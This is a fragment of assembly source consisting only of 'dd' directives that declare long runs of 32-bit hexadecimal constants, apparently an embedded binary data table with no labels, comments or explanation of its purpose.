		dd 96003988h, 7DE776BDh, 0EBB915h, 0D6E034C0h, 1889FB43h
		dd 91284C60h, 62A28C9Fh, 0BE3F6825h, 0F7B0C4ACh, 0C941BA09h
		dd 4304001Ch, 4C75C6ADh, 3418EAA4h, 9E09D83Ch, 0D49320A8h
		dd 5E60BC78h, 0FB303DE9h, 4AF70632h, 0F05F913Bh, 8350C33Eh
		dd 20F90826h, 199CE749h, 3977093h, 0D152B04Ah, 0B03CEF74h
		dd 10BC28ADh, 0E74D981Eh, 0F6C1BF47h, 0A0F3A0CCh, 78ED67C8h
		dd 0A7B628C2h, 78C8F088h, 0E0BC55C1h, 27E1A6E1h, 119EF5E1h
		dd 9EC303B9h, 3004EB65h, 0AC27BE31h, 2019C423h,	0D351B34Eh
		dd 80A84601h, 27BF1111h, 0C8E3B354h, 0F618A430h, 0DED3AE81h
		dd 31FC4118h, 0DE801693h, 64FFDCA0h, 0EF3F04ADh, 953982AAh
		dd 0A06C8E34h, 71589184h, 40F0369h, 0C593F79Eh,	0C04873B8h
		dd 61B0D030h, 968350h, 667E9A86h, 0C31AF8B3h, 0F6FB0200h
		dd 9B04A13Eh, 0FF4300D5h, 83EEA939h, 0BE48687Bh, 0E42622B8h
		dd 0A0E47ED0h, 0F2EE3B4h, 0C78762CEh, 0C180C32h, 3A123940h
		dd 5040F950h, 0B3A81F89h, 70FD48D0h, 58A06622h,	1D03202Ah
		dd 34A78108h, 0D1A691h,	5E3D6970h, 136D3EB8h, 0D4975407h
		dd 0DD10144h, 0F4F0B650h, 0A8040198h, 0F30FFC60h, 0A32FE427h
		dd 0E00AEA00h, 9FB7A923h, 0B64A3A1Dh, 98E82400h, 0FC7ADD07h
		dd 0F573F21Eh, 20B4CF0Ah, 0C6F64A0Eh, 18317DC0h, 48650248h
		dd 0ED01A082h, 3E5E5944h, 7C0C80CAh, 0A505110Fh, 348183F5h
		dd 36780022h, 0BB04EDB3h, 0EE6F7C3Eh, 0AFE48150h, 0C9C4E845h
		dd 0FC4B0089h, 6226906Ah, 1700F043h, 779B1E5Dh,	70F92473h
		dd 5481CF53h, 19799386h, 7FFC5222h, 82A605Ah, 0AB150FE2h
		dd 0A35869C1h, 0C9BC7CEDh, 632F10h, 0BF7B3AB7h,	3EBCC0h
		dd 90BEDAD6h, 0F6525A68h, 31B7F531h, 1090575Bh,	1B6C88C3h
		dd 76C17953h, 42BAE1F9h, 34035810h, 5A10009Ch, 0B6307C5Eh
		dd 36EE151Fh, 679E2D00h, 0D6260185h, 4C3C00F0h,	0F5594553h
		dd 542A0537h, 0AB60D85Fh, 7AFDE438h, 0EF2918FFh, 6B019D0h
		dd 52F6AF00h, 0A21D9E45h, 295004FAh, 0AE2C66h, 0F5FC70CDh
		dd 18517C35h, 909DA2D6h, 0AC2E1FB7h, 0C00686D1h, 1838F915h
		dd 900A5648h, 7400AF0Dh, 0A25FB03Fh, 0E7DC49C4h, 664EB982h
		dd 0A0A35882h, 1011FC6Bh, 0CA1E2143h, 0F7E00860h, 0B311B090h
		dd 67181E22h, 17888F10h, 7031A518h, 19392CA0h, 94E60050h
		dd 0FC6F4246h, 0E9706260h, 0B3A361h, 25FD1FA1h,	0D715E009h
		dd 3850F000h, 0EDDF98CAh, 3BFC0449h, 875269B3h,	0E297C18Ch
		dd 0A11D30B5h, 974F758h, 2F62A29Eh, 91B80108h, 845010BEh
		dd 0E28F6Ah, 181C7DADh,	1BD6EA5Dh, 0FDA87600h, 7E15F634h
		dd 74EE03D0h, 9B081381h, 5BC924A8h, 0A4AE0E00h,	4354FDA6h
		dd 50EF297Bh, 602964h, 1FF921E4h, 0FF62E506h, 0A0FAE2C8h
		dd 0C6B8F3F8h, 11F86056h, 58EF49A4h, 0CB291F06h, 3B181E5Fh
		dd 78D2FB9Ch, 92FDFDCh,	8C0A4A31h, 9FE60844h, 0FAC75400h
		dd 0C89C7D53h, 6B0AED11h, 0A20AFC0Eh, 6880CC11h, 6F9C49A3h
		dd 84D3493Dh, 99EA440h,	2736606Eh, 0B42B6002h, 4C642848h
		dd 0BAA19318h, 3AF1F11h, 78C788D0h, 8100FAB1h, 0FD8EC244h
		dd 411896Ch, 0F32F36Fh,	75E48145h, 0E3B5F1E5h, 2160B9E1h
		dd 68D01411h, 0F44048D8h, 60DB003Bh, 1507C4D9h,	0CB002AA3h
		dd 0A10F96Fh, 534D9Dh, 0EBC262CDh, 0E821E686h, 81D3AB0Fh
		dd 0E0C8E02Bh, 969F71h,	452F304Ah, 70DEB25Fh, 2A99E606h
		dd 1C113BB1h, 806FBE18h, 0BB467586h, 7B00AA56h,	0E01C57D0h
		dd 1DB1CCh, 0E721CD7Ch,	9D544814h, 4237DC07h, 1643F698h
		dd 84F1C017h, 0C0E2B3h,	4B923596h, 0FE4A9D5Bh, 79331100h
		dd 0C2B093D4h, 0A291007Dh, 1DDB3942h, 99007235h, 8DC83DB5h
		dd 50C14732h, 0C588A96h, 0CB401C90h, 30F02211h,	0BC218F60h
		dd 0C0AB6A5Dh, 0E13B1448h, 0B000A9A6h, 8A34A4B4h, 953EDCh
		dd 57AFB39Eh, 91C1C532h, 0E0A020DBh, 0C01EA602h, 0EB80EFD9h
		dd 1C0A400Fh, 48A88E35h, 92031F91h, 4052D962h, 890B700Ch
		dd 0BA50E4h, 0C7493433h, 0E2AE8309h, 552A521Eh,	0E5910C00h
		dd 1C1BBF0Bh, 81093C72h, 580FF687h, 49584132h, 8060BCC8h
		dd 4240903Fh, 3C194148h, 0C0604B43h, 76799C0h, 119B1634h
		dd 21F5B80Fh, 0FD91EA2h, 0A1D3E982h, 4DC3BD34h,	2572C000h
		dd 84F257B7h, 0CFC0017h, 4A7E9840h, 431813F1h, 11519706h
		dd 3F56F078h, 400A1E9Bh, 40BC1D8Fh, 17DC594Ah, 339CAF54h
		dd 803D1601h, 98F9418Ch, 0C0D5F853h, 1DF1573h, 3584F3A7h
		dd 8FE2E9CDh, 8CFD4A88h, 0A9F1843h, 9B517446h, 663E3C84h
		dd 3C744A28h, 86186481h, 35DB2177h, 4FD08200h, 0C6CDE11Ch
		dd 7E101D17h, 38BA0CB3h, 70231D0h, 74451699h, 863E2796h
		dd 1A3DC14Ah, 159C8070h, 3D5D19CEh, 0D7ED0058h,	951C2C90h
		dd 0B32E7B47h, 9600DDE5h, 76BE8A87h, 0CF3A1235h, 80F3065Bh
		dd 0C4325898h, 11F81053h
		dd 81521C5Ah, 0A38015D0h, 14FFA899h, 94B92E12h,	0AEB59000h
		dd 0F5C8883Fh, 0D672B1C0h, 610A79Ch, 74433E9Ah,	1F0CC93Bh
		dd 51F9DC86h, 0DE513CDBh, 79391931h, 0EF298A9Ch, 478CC488h
		dd 50DCF93Ah, 889814CDh, 2F243D09h, 1640C072h, 0A44D4377h
		dd 240F779Ch, 16CE741h,	935C060Ch, 5DB0432Fh, 759822h
		dd 0E8386610h, 90DF1906h, 0D47C32E2h, 90099F80h, 0E103459Ch
		dd 0FB109013h, 0B3300A8Ch, 10336484h, 0C55D40ABh, 3344523Fh
		dd 9A712D74h, 354580B6h, 10917DE1h, 0DBE4007Ah,	33900FA5h
		dd 0A89245h, 529AC731h,	89B8C4E9h, 954006EEh, 98F25238h
		dd 0F62D3709h, 5D7C5420h, 0FE0A70E4h, 809A9984h, 0A848C918h
		dd 79BD1837h, 1BA32894h, 7C547002h, 405063FDh, 7472BB0h
		dd 205234B4h, 0A8FFC172h, 90C48F3h, 5B0E5005h, 0B003FBA9h
		dd 0E0D2C810h, 1C2B53A1h, 0CA720A5Dh, 0E406F2Dh, 192B516h
		dd 555B1C84h, 0B31830D9h, 0B6602890h, 24BD0BC1h, 3D8F02CFh
		dd 0B891661Eh, 519E8B40h, 424CCB7Ah, 7DF68154h,	0FC42A785h
		dd 0E4426Dh, 0FB814C8h,	0F094CCC6h, 9D54D878h, 1EEE9388h
		dd 0A1C0B824h, 8DA4F619h, 22404083h, 583C196Dh,	4A558030h
		dd 0B0E0649h, 0AA383E17h, 18FA2B01h, 20D3F8F7h,	0E20435E0h
		dd 0CB3D8E64h, 20270882h, 7166F7A3h, 8FB6FB03h,	610FEC33h
		dd 9E3958C2h, 430ECC59h, 0E0833BECh, 0D29C6F72h, 0EDBC3018h
		dd 53057027h, 0D669350Ah, 0D7C8801h, 0A8401987h, 0B71E46h
		dd 3C90AF4Ah, 0D148165Ah, 804E971Dh, 0FC9D5747h, 86EC0312h
		dd 104840B8h, 88C9B9Eh,	1D1631C5h, 972E8C0Bh, 4C99D218h
		dd 45F8AC28h, 4AD04E15h, 2EB21184h, 9BBF107Ch, 0E15E0078h
		dd 83B147CAh, 711C0C29h, 0F6F8A93Ch, 9CBB2186h,	850213Ah
		dd 0A3719FF3h, 8E641A00h, 40B97A88h, 2704FCFAh,	3FA02CA5h
		dd 0F834012Bh, 3D5BFD4Bh, 1E9E6020h, 0B19E978h,	0E001D689h
		dd 30E29CB3h, 580B70A6h, 21F44941h, 8C614DC8h, 0CF3B0E01h
		dd 3C438EFAh, 0C9E624B0h, 566A4516h, 295A000h, 53EBBB4Bh
		dd 0A6842046h, 1316050h, 27EC0904h, 0DC80D79Bh,	5E3CDA8Fh
		dd 3CE3092Eh, 6592BC87h, 0AA88DF80h, 0AD571CA0h, 0F2C958BEh
		dd 0B2007C70h, 0E263C2ACh, 4BC682Bh, 4AF15A31h,	84A80C1h
		dd 9600C715h, 39772624h, 72558F86h, 9B2300B9h, 0A762AB5Eh
		dd 150018C9h, 0FA341E1h, 0E29CAB0h, 2816D0EBh, 0E2AD7420h
		dd 3B009D4Eh, 0F1B68CF8h, 6447D4h, 48A413B8h, 0AC48EC0h
		dd 963DC700h, 5D614055h, 701FAD6h, 49C1515Eh, 0B8DCE0C9h
		dd 0FB00A205h, 98825056h, 7AED537h, 0BE425BD4h,	0F960C1B0h
		dd 3A48F416h, 22018D00h, 21E74A87h, 0B9DB0075h,	0EC027EACh
		dd 4B7E5099h, 7A00E476h, 423827C4h, 17D552h, 0F492C8A6h
		dd 0A7C05F57h, 22544001h, 1D40BCCh, 434DEECh, 7F483275h
		dd 642E80C1h, 3A0CC85Dh, 110BAAD5h, 4A1300A3h, 6D8F1AD8h
		dd 9200C7ABh, 0E7FB5BD1h, 26B9D942h, 9FD86E4Bh,	0D852007Bh
		dd 5EC3FD0Eh, 86DBED00h, 99FB1043h, 6D2F30A0h, 26E4B580h
		dd 98292D18h, 3AC35B66h, 6C82915Fh, 0F94A8E13h,	2C0324C4h
		dd 4D87683Fh, 0E1FF88E6h, 76AD138Ch, 1C181FE3h,	8AA70306h
		dd 6A81D7B8h, 0F1FBC071h, 77F4905Ch, 0AB609D00h, 5B7D1801h
		dd 0E20C0081h, 0B7BC3177h, 4500986Bh, 0C1A550F7h, 0DF8F3h
		dd 0C4D25D1Ah, 7F9C093Eh, 0FF79CC00h, 442694E4h, 598800A0h
		dd 0CFB0EE69h, 55004DC7h, 64CD5B67h, 6E3AF2h, 87B7D09Ah
		dd 0AC51AF36h, 0C6A7C500h, 0C0CF1CEBh, 0BD700BBh, 0D5C4824Eh
		dd 3F07ABDCh, 0F5892653h, 901A13A0h, 0B63E004Ch, 576E31B8h
		dd 3A00E5F4h, 5ADA73EFh, 48A8B5A9h, 2C0008A7h, 0C7458F44h
		dd 2F4DDEE1h, 3F0F00BCh, 0A764849Fh, 40C533CFh,	3DBB35A0h
		dd 0E86033E8h, 8613203Ch, 0FDAA9698h, 1B2EC82h,	1EBD6BC7h
		dd 0E820F654h, 7300D0D9h, 7947602Ah, 3C297Dh, 31A87767h
		dd 0B6179EC3h, 0C6B0F00h, 8AADB7ACh, 0A11D1263h, 7C900022h
		dd 0CD2D3A2Ah, 0FA230B01h, 3BC6F472h, 288AB9C4h, 31F49875h
		dd 45B96E10h, 344E003Eh, 0D79013h, 19AE7183h, 976F1787h
		dd 794364Ch, 98B8F02h, 1E08A496h, 79A7B94Eh, 8D28FC80h
		dd 42AF76D1h, 0FD35B000h, 340DB10Bh, 379500C3h,	0A2A5A770h
		dd 57FE9C76h, 0C8BA6828h, 4033E005h, 0B4441F1Bh, 40909F88h
		dd 1C3B923Ah, 801AB74Bh, 0EC50A70Dh, 0E6005D62h, 97164A98h
		dd 7772D6Eh, 13A559FDh,	0B46A70C2h, 0EB5017DAh,	0AB0089D4h
		dd 0A77643D8h, 7E2F2AE8h, 68D900C6h, 583747Ah, 58005B6Bh
		dd 0DF4854Eh, 60E881EBh, 13AC80FDh, 0B5034183h,	94BF0EF2h
		dd 0C47580CBh, 0C270001Ch, 0BB5A3823h, 0A07B7DFh, 8C507219h
		dd 0DCCB9A00h, 932E00D5h, 88E4940h, 0DE00B10Fh,	79F2E8C1h
		dd 382612Fh, 0D3555791h, 12A8BF69h, 3007901Fh, 0C7FF8A0Ah
		dd 3BA635A0h, 0DBE44863h, 9C395400h, 22C47870h,	0C733C0A0h
		dd 366BCA00h, 35B7A86Fh, 0D5C50C58h, 912928BFh,	30003174h
		dd 243F8B76h, 3B5B371Bh, 0F4834A80h, 95F1DFB1h,	1720FCF8h
		dd 0E91F2872h, 1CC0183Eh, 0DA996489h, 0FB81124Ch, 441400CEh
		dd 42F4E545h, 805A2C3Bh, 0AD2D4318h, 25EB4Eh, 4724AE3Bh
		dd 5E65B73Ch, 0C7345B00h, 0DDF5B40Ah, 0A16330C9h, 0FF5AE4F8h
		dd 0D0C36500h, 605B8930h, 0BA9A0386h, 35CB6D31h, 0C585AB91h
		dd 0F60A305Ch, 96C55400h, 0A57B59DAh, 0FA520009h, 206DF48Ch
		dd 5807BE86h, 0E84A5346h, 0B7DE4EA0h, 0CFB30F19h, 56C0C52Dh
		dd 9E4CD7FBh, 0E41F664Ah, 7CAD9F40h, 0A3920D5h,	54B6C781h
		dd 21AA0082h, 40FD2913h, 0B9029713h, 2699C400h,	0C0BC9B86h
		dd 4FF44811h, 8F13EEF2h, 0AC000793h, 0E8CD0F9h,	189C0008h
		dd 0F1C6EAB8h, 3A036630h, 0E9335EF2h, 0E4A0B793h, 49CD36h
		dd 0EA2E4579h, 0D35E677Ch, 8E8F7306h, 314B72Dh,	65E98C5Bh
		dd 0F6987AB8h, 5900D22Eh, 5593F8FFh, 0E5CF79h, 88118206h
		dd 45E8EE67h, 4E8DCC03h, 0D023D9DBh, 8EAB0Ah, 0EC3C8053h
		dd 2A97CB04h, 6354F500h, 0BBCD1E3Fh, 6E3D07BFh,	600D709Dh
		dd 37DAC459h, 0CE766000h, 30C7A8A6h, 0E288073Ah, 7F42351h
		dd 68945034h, 220FD441h, 0EE729709h, 0FC3124C9h, 7A6100EFh
		dd 0C2F75A0Ch, 0FFD4CD00h, 15E8F194h, 218A0013h, 65AE492Ch
		dd 0B0707795h, 5EB3F701h, 35548E2Bh, 2BEFCh, 4215F4BBh
		dd 37741B51h, 32002373h, 3BE6FB7Ch, 6482FCh, 0E8B9F91Ch
		dd 0D7B00C59h, 6249E300h, 244A504Dh, 66890045h,	302BC43Eh
		dd 21005752h, 9540A964h, 0CD7D25h, 69273510h, 0C39AD86Dh
		dd 964E100h, 77F69047h,	2BDC014Eh, 0B71E2229h, 702CE57Fh
		dd 78005DDAh, 0EBEDCF7Ch, 0FA8DDFh, 5F01C245h, 5C9B2ABh
		dd 5433E502h, 809B0289h, 593086ACh, 7A1F1358h, 41700F1h
		dd 88446878h, 15FD48C0h, 3F713F4Dh, 0BABBF986h,	0E806A695h
		dd 0C0918507h, 4B42E170h, 7D0C40C1h, 81C3E05Ah,	60289661h
		dd 5FDD08E0h, 63F8FB72h, 34276600h, 51920932h, 7D840073h
		dd 25823642h, 0B052178h, 0BDF7C944h, 0D94BE707h, 0D29B6030h
		dd 294C0085h, 0B37365FBh, 99036E0Dh, 0FD6679A7h, 0D17ED09Bh
		dd 6381CFE2h, 83C427E7h, 0A1010761h, 142F3491h,	93CC92B8h
		dd 0E25C5C3Fh, 0C6AF7E01h, 0ECC15667h, 9F07DFCh, 0D664100h
		dd 39B1DC4Bh, 87FA6Ch
		dd 658B28B4h, 3472D5FDh, 76C01E00h, 4E2B980h, 1D1901FFh
		dd 9FC46003h, 0CC888081h, 614E400Ch, 212601B6h,	4CE92E84h
		dd 0B2C02089h, 0C85B803h, 0C0CECD63h, 0F25120AAh, 27AF0001h
		dd 0F08A9261h, 0E700CBB1h, 0E269AC24h, 0F2397B18h, 0DC7A0307h
		dd 0C1E8E90Eh, 0DF8C408Fh, 0BF0035DEh, 5FF85132h, 0BC7892h
		dd 25F12E79h, 0A6E9683Dh, 0E72FA400h, 0F71BE498h, 0D94A0C66h
		dd 2DB1A785h, 0B603F1EEh, 607A06E0h, 41900E9h, 84AC34AAh
		dd 8C1DCEF8h, 0C055038Ah, 0EA200B8h, 0D2E51DBAh, 5DD00B9h
		dd 8BFBED22h, 6660FD1Fh, 0F6F88118h, 63010749h,	8185FA89h
		dd 0E0099919h, 7A02DA65h, 79B9830Bh, 0FAD88014h, 0C561F0h
		dd 0DBE275B2h, 5F49E74Ah, 666D43Ch, 0DDCE3C0Dh,	51E60C28h
		dd 53181E7Bh, 8CF26C7Ah, 0EEC098DFh, 6B1D8887h,	57630008h
		dd 0D9922D0Fh, 0BA7833D3h, 6E011F18h, 0C4B7FA0h, 6F79B8CCh
		dd 6119A381h, 7058234Fh, 1E4AE720h, 0CC4B3448h,	3918078Bh
		dd 786D7A3Bh, 9C3CF87Fh, 0AD701403h, 7EE60094h,	0D95CF10Ah
		dd 44F5490Eh, 6C08906Fh, 0DEF24841h, 6A793009h,	0A27D90C1h
		dd 0C8ADBB62h, 0E8C483F0h, 0D96C1F87h, 0ED140EF7h, 0EB24C0CFh
		dd 0F8CB838h, 67687E42h, 0DEC94E00h, 0FA836D34h, 0D6A8C0F9h
		dd 0E10DFFA5h, 8E25CD00h, 0C5A7FBBCh, 0EA980FC9h, 0DB80E522h
		dd 0B91C4891h, 0E0B4A3Ch, 207DFA88h, 0F460EFD8h, 5A100BBh
		dd 6C1883E8h, 62009299h, 7F5725CFh, 187249F8h, 6093E1F0h
		dd 3B0E5C5Bh, 0F356B6C6h, 88522500h, 1E5E71EEh,	40FC7932h
		dd 9072068Ah, 0D200DB91h, 0E3CA1A9Fh, 0F1E9552h, 1DEFC874h
		dd 23E8A2A1h, 701AC499h, 0D32ECD00h, 0D5872B90h, 0EE380021h
		dd 88E1C402h, 6C00EBC2h, 499CCD9Fh, 3F519619h, 0C982AA10h
		dd 58EA2C79h, 6D73C060h, 32EF9900h, 0F6F5CE52h,	0F00100F8h
		dd 1A286939h, 0FEE69E1Dh, 31B83D00h, 5B87AB40h,	0BAFD3132h
		dd 0E4C06010h, 29001BF8h, 738E5766h, 1A122FFh, 7AF5B76Dh
		dd 508AB26Fh, 8C82CB9Ch, 44392507h, 0BED07B7Fh,	9D2CD05h
		dd 8FA2CE04h, 0ABEB2420h, 0D62ED5B1h, 9C2071A1h, 0EFF80476h
		dd 2A4E8A0Fh, 0A0768079h, 0E5D834h, 7D4319B0h, 9F0B6675h
		dd 74448D24h, 7A49D480h, 4EC9BAh, 6A873246h, 0C6F1585Ch
		dd 6D61FD00h, 0A67590BFh, 403000E9h, 128F0356h,	3400E42Fh
		dd 1B115288h, 0B66B343h, 904F6578h, 0C6462400h,	1400C7A4h
		dd 2FB817DAh, 14B996Bh,	6A72925Ch, 0F26C7311h, 3EE6DB80h
		dd 9E3C769Dh, 44A38720h, 69600498h, 88CCC3h, 3D373287h
		dd 9FE97DF1h, 7BDD7500h, 615A9DA8h, 19D76063h, 2C69035Fh
		dd 653D261Fh, 7114F8C0h, 4763E6Ch, 0A5B7DA8h, 540C8060h
		dd 940073E5h, 0C99A2FBFh, 3C1A1F08h, 0FE008329h, 0A7DBDF9Dh
		dd 90000B20h, 4A886CA3h, 403E18h, 4683D8DAh, 0CF43D08Ch
		dd 0D43278C0h, 1D3576Eh, 7D417523h, 0F83FEC65h,	0A0003137h
		dd 3F1D5B4h, 2141CB6h, 0D1FACCB0h, 8406976h, 2C0764FBh
		dd 6FAA5218h, 22EB9D80h, 538708Fh, 82B62EC2h, 94CFC01Bh
		dd 0CB0070C1h, 47DC430Bh, 3012C39Dh, 0D82950C9h, 0FE769475h
		dd 7800EC70h, 8299F1E4h, 27B8AD2Dh, 0C3F0EB76h,	219BA700h
		dd 0D2F75E5h, 6C0A00C3h, 1601AF1Ah, 9E00B782h, 0EADFF491h
		dd 7D71498Ch, 87810058h, 3C9C4C51h, 2007EC33h, 42CFB41Fh
		dd 0A06A12A0h, 0E83400A3h, 571790D1h, 30FDAB8Dh, 631FD2D4h
		dd 9CCF51A9h, 931960C8h, 790FAFh, 8398EEE5h, 57F888E2h
		dd 2CA48200h, 3771584Fh, 0BF9E0005h, 60416154h,	600D60Fh
		dd 6ECFE669h, 27936A9h,	233845F3h, 94C01120h, 8A6BFA9Fh
		dd 0BF3F00D8h, 474F1Eh,	0D1E98413h, 0D7E7576Ah,	0C67010Eh
		dd 5DB3C0B7h, 78A1A3h, 48C4D836h, 6D0BC11Dh, 0CA643107h
		dd 52443D6Ah, 1A49F9C0h, 2D000DEh, 0D8EF65A4h, 2F6E459Dh
		dd 0AF1CD671h, 7C44394h, 3EC5607Ch, 4C1387Ch, 0C378F896h
		dd 0D198C007h, 0C0F1DEA3h, 0EE0075F9h, 6EAE7A11h, 0EE329BB6h
		dd 30B8F436h, 0C680CCABh, 0C1709C9Fh, 9900D9FEh, 66DD1175h
		dd 35DC29h, 3EADB7E2h, 0A7C4BFEAh, 0E6D21C00h, 0A1CAFE0Ah
		dd 79FF2C3h, 0CDF0DB80h, 9163C0FFh, 79004C93h, 2A15A54Dh
		dd 18FC7h, 0B621081Ch, 0DD126A3h, 0DED29600h, 7A536B62h
		dd 41E08Fh, 0ACA01543h,	50F5D8F7h, 772E7C00h, 20CA0917h
		dd 3ACF00DDh, 0A6B3A778h, 4128A164h, 0C8009073h, 0FF33052Eh
		dd 0F27EDCh, 0FED5AF9Bh, 0A8139D6Eh, 22DF93Dh, 0E74B71E4h
		dd 87C240B9h, 0D3080017h, 56BC8930h, 4002952h, 2EE6CEAFh
		dd 77A4FF9h, 7B908E3h, 55B4E079h, 0F6008D69h, 475E749Ch
		dd 0F8FB8C4h, 0C6B2109h, 0D1E30BA0h, 2300A0D2h,	94F013FFh
		dd 9B30FBh, 8C40E4CDh, 0C960770Ah, 42C58800h, 2A7D0234h
		dd 182F0FFAh, 46600E48h, 0B236CB75h, 5F3D9400h,	0CF27A138h
		dd 0C47AD5h, 0F52A136Fh, 0FACD78EFh, 0FE280500h, 64D87A4Eh
		dd 72312827h, 101E0088h, 8D980D44h, 131F11DAh, 8242B35h
		dd 3A061C80h, 36CDA8h, 0C9C61D94h, 5CA764ECh, 6D23870Eh
		dd 68C0E026h, 0B7A10Eh,	61A9FF41h, 7888A8Dh, 79D56700h
		dd 0C71CE7CEh, 751006A6h, 3083274Eh, 0C4613900h, 2B3AD399h
		dd 232D266Eh, 60548004h, 0E09F882h, 64064024h, 4CDAC500h
		dd 1F1986B7h, 80D528CEh, 0A23E1FE5h, 0BC007540h, 0C0A40952h
		dd 0AB76A7h, 5EF4CC77h,	5729C54Bh, 186BCE00h, 0EA7FF19Eh
		dd 0E757BE0h, 869A097Ch, 2BB789A1h, 9143601Dh, 0B3006BB8h
		dd 11B6D32Ch, 797A60h, 0C706C697h, 0FE429EE3h, 832A1238h
		dd 31C4E615h, 5E0DE833h, 72D500F7h, 997680BEh, 2200AF7Bh
		dd 0B04C89DCh, 0C7FE25h, 54F1C9Dh, 0E1199386h, 5C223Fh
		dd 0D620C04Eh, 7523D35h, 0FB29A37h, 0A314C0F4h,	7E001288h
		dd 45B5394h, 0C6A41Ch, 0AA8A9C30h, 89A73DE0h, 5C933500h
		dd 0A19F33CAh, 34314BDh, 0AE00C192h, 255F047h, 22098932h
		dd 8F3B88D9h, 62BC60EDh, 1F25C386h, 7A0AD8h, 711AF9B9h
		dd 7600A8BAh, 0C92AEB8Eh, 3D0222h, 57C351B3h, 0C23107BFh
		dd 879BEA07h, 1F138Dh, 24D979FBh, 0F49500B7h, 11B03CAFh
		dd 2A009DF2h, 41281D38h, 7EABBDh, 258FFAC8h, 0B1507AD7h
		dd 1DFF0703h, 82AD8D2Fh, 47807DD3h, 86D288F7h, 0AB650C03h
		dd 0B84E9C82h, 2ED84407h, 1EE605C0h, 47C20C14h,	3C3B46C4h
		dd 0AA007503h, 352FC17Dh, 0B842FCh, 60BE6AAFh, 0E836E266h
		dd 0AC5ADF00h, 29DC544Eh, 4FC00FD1h, 952158AAh,	0C4641338h
		dd 77E01290h, 0E71F4374h, 0C498D3E3h, 5CDF0A18h, 778FF58h
		dd 60758CDDh, 768EDEDBh, 860AB282h, 0BAD91080h,	480FBB95h
		dd 9DBDED74h, 3EB1E100h, 0DF25CAh, 9013FC6Ch, 17300150h
		dd 930D3207h, 2840F9AAh, 0F09B93Dh, 0ED3C29AFh,	1E1DA88Fh
		dd 0FC51FB3h, 3A819A07h, 0A6BD60F8h, 30001C29h,	32D26FC0h
		dd 0F0D871D5h, 0A0447C08h, 0A068281Ch, 0E053E2Ch, 0FD328D93h
		dd 2F3C8780h, 10A01728h, 1CA04F44h, 0D800E52Eh,	919450D5h
		dd 3EA6630h, 0DE02715Ah, 14900FAAh, 32002906h, 44F4BEE1h
		dd 30CD9B6h, 1CA8C74Eh,	0A0B11905h, 0A37FF062h,	6FEAB000h
		dd 1E03D5B3h, 0F25600EDh, 8873C07Dh, 0C600E620h, 310C33C3h
		dd 0FF456Dh, 0E009F419h, 0A84129B6h, 6B167501h,	3F42E7A7h
		dd 780EE5F4h, 29591DC1h
		dd 7DCA80AEh, 0D52DFA5Ch, 76ED4E02h, 0C0E49D6Ah, 0CB2833h
		dd 0E9070AC9h, 0E2582353h, 7CD8E31Ch, 1C9104C0h, 0AB19CBh
		dd 2767F3F7h, 0D652B863h, 0C88CC454h, 90407905h, 9042581Fh
		dd 81D8E2A1h, 97645084h, 1AB69040h, 0D7B90018h,	20D5651Fh
		dd 0DC32A106h, 204829DAh, 7A09C193h, 5F25F80Eh,	7134C3B4h
		dd 4C8E022h, 0E17C7Dh, 5C79AE55h, 11A6F5DBh, 17610A00h
		dd 730C3AA1h, 0F2D5007Ch, 831D18AFh, 400C99Eh, 4542142Dh
		dd 0E30F03h, 8155D833h,	964164C8h, 8999207h, 8C8007E9h
		dd 0FD3D87h, 1892580h, 43D94F1Bh, 48CC6A00h, 0B7B8468Eh
		dd 0CA61D5Bh, 0EF6CD2A5h, 0ED718C00h, 0E3C8E8h,	0BBD9EB3h
		dd 0FD9DF972h, 0AA5011EEh, 0ED00878Ch, 7FA2D7FCh, 906E1AD0h
		dd 614006BDh, 52A051F9h, 0D25DD900h, 0F6B9BF39h, 95D10043h
		dd 7135AB20h, 0C701B1FEh, 0FC6FA75Ah, 0D9CC4E3Eh, 33C10387h
		dd 0E29F0BA3h, 8810CBC0h, 0B25BC800h, 59D2E4BFh, 46BC006Bh
		dd 7D2602AFh, 950005B1h, 189CEB56h, 825ACEh, 8D794369h
		dd 969A5726h, 60C0320Fh, 0C2A20083h, 0FE481510h, 0D719Fh
		dd 62A72ABBh, 0D1C3D691h, 0BF82E900h, 29A987ECh, 0F1E06076h
		dd 0CA3F86Ch, 16600507h, 5B3133D2h, 0B6E46D84h,	0B01A0001h
		dd 0F69FD3E7h, 0A000697Dh, 0F0B8CC31h, 421CA1h,	9067FE85h
		dd 0BAF2AD9h, 0DDB5B300h, 0FB284C3Eh, 0FF740072h, 0EF8DBCE8h
		dd 8F00AF77h, 0E4FEBF64h, 0F440579Bh, 0B94700F3h, 2C44BA5Eh
		dd 0D716A046h, 0DF01AC1Ch, 27755BD5h, 4BEAF8h, 8AF53FAEh
		dd 20A50207h, 8F982401h, 488813A7h, 0F4C5D880h,	2DC41850h
		dd 4A493800h, 1FD3EEDBh, 0F4D0FF5h, 7F8022B9h, 2A4E0748h
		dd 24F40175h, 0E9985100h, 66AD6A74h, 41BB00DCh,	2BB33792h
		dd 0D0C0D24Dh, 0A6DB43D0h, 19A707B4h, 0C0FD11C9h, 5EDAF774h
		dd 0D9ADE400h, 0E868A64Eh, 0B9D008Ch, 0A1B096FDh, 0E30C4220h
		dd 0F844E77Dh, 82724DBh, 570300CCh, 0E1AEBD7Ch,	0FA6D5600h
		dd 1AD3DA3Eh, 780B0087h, 0B8BC909Bh, 6A009DBFh,	93613124h
		dd 4B7F09h, 0DB5EDFC2h,	0CE424ECAh, 43026BF2h, 56FA2268h
		dd 987C430Bh, 0DB16C4h,	80937CBBh, 9236BA77h, 1706900h
		dd 0A3DD2189h, 0F3A700E1h, 57CB7B48h, 0E5E8FB96h, 92AAB400h
		dd 0C3889F16h, 0AD110C99h, 0C5B8DD18h, 0DCD60A0Bh, 0C0FC25h
		dd 2E6C5FF6h, 0E30251C1h, 4BE7C0D9h, 0B30357EEh, 6BD80E62h
		dd 1960FCB6h, 9C70F298h, 0A90F0398h, 0CB1107A1h, 50BC2DD8h
		dd 0A5271000h, 5FF5EBF3h, 692B00EAh, 0B2281AE9h, 0A00D60Dh
		dd 6B98CC1Eh, 4FDDF6Eh,	0E5C923BCh, 918CC092h, 0F54D32D5h
		dd 0B088287Ch, 6CA92600h, 0A1038906h, 0A0AE2873h, 0D5D70FA8h
		dd 0BB40690Dh, 790BDE92h, 5EE54518h, 4A86DF2h, 484B2099h
		dd 1B180E0h, 5200F969h,	0EA7EFA5Ah, 0AB09BEh, 4A293F2Bh
		dd 936CA528h, 334EB500h, 91DC3876h, 12B85Dh, 329E9D50h
		dd 0B86BE0E3h, 85040300h, 13974041h, 0FB7E0567h, 90BE30AEh
